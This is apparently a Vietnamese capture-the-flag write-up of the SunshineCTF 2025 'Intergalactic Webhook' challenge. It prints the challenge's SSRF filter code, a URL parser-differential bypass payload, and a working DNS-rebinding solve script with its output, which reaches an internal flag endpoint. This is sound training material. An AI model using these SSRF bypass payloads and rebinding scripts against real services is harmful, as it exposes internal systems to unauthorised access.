Mô tả thử thách
I got tired of creating webhooks from online sites, so I made my own webhook service! It even works in outer space! Be sure to check it out and let me know what you think. I'm sure it is the most secure webhook service in the universe.
https://supernova.sunshinectf.games/
Phân tích
Nhận thấy đây là một Chall liên quan đến Webhook, có thể dễ dàng thấy ở ngay tên bài và trực tiếp trên web

Bây giờ chúng ta sẽ tiến hành phân tích source code trước
Phân tích Source code
Trong source code của web có một đoạn gọi /flag như sau
class FlagHandler(BaseHTTPRequestHandler):
def do_POST(self):
if self.path == '/flag':
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(FLAG.encode())
else:
self.send_response(404)
self.end_headers()
threading.Thread(target=lambda: HTTPServer(('127.0.0.1', 5001), FlagHandler).serve_forever(), daemon=True).start()
Phần này cho mình biết rằng chúng ta có thể lấy flag bằng yêu cầu POST tới http://127.0.0.1:5001/flag
Có 2 endpoint liên quan: /register (đăng webhook) và /trigger (gọi webhook đã đăng). Cả hai đều gọi hàm is_ip_allowed(url) để chặn URL trỏ tới địa chỉ nội bộ
Khi xem mã nguồn cho /trigger, mình thấy mã bên dưới gửi POST request đến địa chỉ được chỉ định bởi webhook miễn là nó vượt qua các kiểm tra trong is_ip_allowed(url)
Hàm kiểm tra is_ip_allowed
def is_ip_allowed(url):
parsed = urlparse(url)
host = parsed.hostname or ''
try:
ip = socket.gethostbyname(host)
except Exception:
return False, f'Could not resolve host'
ip_obj = ipaddress.ip_address(ip)
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local or ip_obj.is_reserved:
return False, f'IP "{ip}" not allowed'
return True, None
Phân tích hàm:
- Lấy host từ URL bằng urllib.parse.urlparse
- Resolve ra IP thật bằng socket.gethostbyname
- Nếu IP nằm trong các dải nội bộ (127.0.0.1, 10.x, 192.168.x.x, …) → từ chối
Điểm yếu
- Hàm kiểm tra is_ip_allowed và hàm gửi requests.post không dùng cùng một parser URL
is_ip_allowed → urllib.parse.urlparse
requests.post(url, ...) → urllib3 bên trong Requests
- Nếu 2 parser hiểu URL khác nhau → parser differential (mỗi thằng nghĩ host là khác nhau). Đây chính là chỗ để bypass
def is_ip_allowed(url):
parsed = urlparse(url) # <-- đây dùng urllib.parse.urlparse
host = parsed.hostname or '' # <-- hostname từ urlparse dùng để resolve
try:
ip = socket.gethostbyname(host)
...
def trigger_webhook():
...
try:
resp = requests.post(url, timeout=5, allow_redirects=False) # <-- đây dùng urllib3 bên trong Requests
...
Ví dụ: http://1.1.1.1&@2.2.2.2#@3.3.3.3/
- urllib2 / httplib (cũ): nghĩ host là 1.1.1.1
- requests: nghĩ host là 2.2.2.2
- urllib: nghĩ host là 3.3.3.3
Payload: http://127.0.0.1:5001\@8.8.8.8/../flag
- urllib.parse coi phần trước và sau \@ là một netloc chung nhưng hostname cuối cùng được trả là phần sau (ở payload là 8.8.8.8)
- urllib3 coi \@ như escape/ký tự đặc biệt không phân tách userinfo, và nhận host thực là 127.0.0.1 với port 5001

Script
Mình cũng có làm một script tự động đăng ký một webhook vào hệ thống của đề (supernova) rồi liên tục “kích hoạt” (trigger) cho tới khi phản hồi chứa chuỗi flag (sun{...})
Đầu tiên mình sẽ lên trang rbndr.us để tạo URL bypass

Script
#!/usr/bin/env python3
import sys, time, requests
BASE = "https://supernova.sunshinectf.games"
def register(url: str) -> str:
r = requests.post(f"{BASE}/register", data={"url": url}, timeout=10)
try:
data = r.json()
except Exception:
print("Register raw:", r.status_code, r.text[:200])
raise
if r.status_code != 200:
raise SystemExit(f"Register failed: {data}")
print("[+] Registered:", data)
return data["id"]
def trigger(webhook_id: str):
r = requests.post(f"{BASE}/trigger", data={"id": webhook_id}, timeout=10)
try:
data = r.json()
except Exception:
print("Trigger raw:", r.status_code, r.text[:200])
return None
return data
def main():
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} http://<rebinding-host>:5001/flag")
sys.exit(1)
url = sys.argv[1]
wid = register(url)
print("[*] Starting trigger loop. Looking for 'sun{' in response...")
for i in range(1, 501):
data = trigger(wid)
if not data:
continue
print(f"[{i:03}] status={data.get('status')} err={data.get('error')}")
resp = (data.get("response") or "")[:200]
if "sun{" in resp:
print("[+] FLAG:", resp)
break
time.sleep(0.2)
else:
print("[-] No luck. Try registering again (DNS might have cached).")
if __name__ == "__main__":
main()
Run script
$ python3 solve_intergalactic_webhook_dnsrebind.py http://01010101.7f000001.rbndr.us:5001/flag
[+] Registered: {'id': '2e141b1f-dba3-4ca4-ad41-d067302fa032', 'status': 'registered', 'url': 'http://01010101.7f000001.rbndr.us:5001/flag'}
[*] Starting trigger loop. Looking for 'sun{' in response...
[001] status=None err=something went wrong
[002] status=None err=IP "127.0.0.1" not allowed
[003] status=None err=something went wrong
[004] status=None err=IP "127.0.0.1" not allowed
[005] status=200 err=None
[+] FLAG: sun{dns_r3b1nd1ng_1s_sup3r_c00l!_ff4bd67cd1}
Flag
Flag: sun{dns_r3b1nd1ng_1s_sup3r_c00l!_ff4bd67cd1}
'WriteUp > Web' 카테고리의 다른 글
| [Web] Puzzle - Securinets CTF Quals 2025 (0) | 2025.10.06 |
|---|---|
| [Web] Lunar File Invasion (SunshineCTF 2025) (0) | 2025.10.01 |
| [Web] Web Forge (SunshineCTF 2025) (0) | 2025.10.01 |
| [Web] Lunar Shop (SunshineCTF 2025) (0) | 2025.10.01 |
| [Web] Lunar Auth (SunshineCTF 2025) (0) | 2025.10.01 |
